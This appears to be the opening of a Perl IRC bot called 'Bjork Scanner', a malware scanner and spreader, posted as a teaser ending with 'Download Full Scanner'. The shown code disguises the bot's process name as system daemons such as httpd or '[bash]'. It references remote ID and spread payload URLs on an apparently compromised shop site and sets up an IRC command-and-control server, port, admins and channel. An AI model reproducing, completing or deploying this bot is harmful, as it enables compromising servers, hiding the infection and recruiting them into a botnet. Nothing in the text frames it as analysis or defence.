Bjork Scanner

!/usr/bin/perl
###############################################
# Im not living im just killing time
# radiohead ganja bjork the beatles
###############################################
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
##################################################
# Im not living im just killing time
# radiohead ganja bjork the beatles
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
$processo = $ps[rand scalar @ps];
my $linas_max='2';
my $sleep='3';
my $cmd="im.not.living.im.just.killing.time";
my $id="http://www.aigleboots.com//administrator/components/com_virtuemart/.../ID.txt?";
my $spread="http://www.aigleboots.com//administrator/components/com_virtuemart/.../sprd.txt?";
my $spreads="http://www.aigleboots.com//administrator/components/com_virtuemart/.../sprd.txt?";
my @adms=("arianom","kamtiez","!");
my @canais="#kill-9";
##################################################
# Im not living im just killing time
# radiohead ganja bjork the beatles
##################################################
my @nickname = ("killer");
my @rname = ("cailio");
my $nick = $nickname[rand scalar @nickname];
my $ircname = $nickname[rand scalar @nickname];
my $realname = $rname[rand scalar @rname];
$servidor='irc.kamtiez.punked.us' unless $servidor;
my $porta='7000';

etc..

Download Full Scanner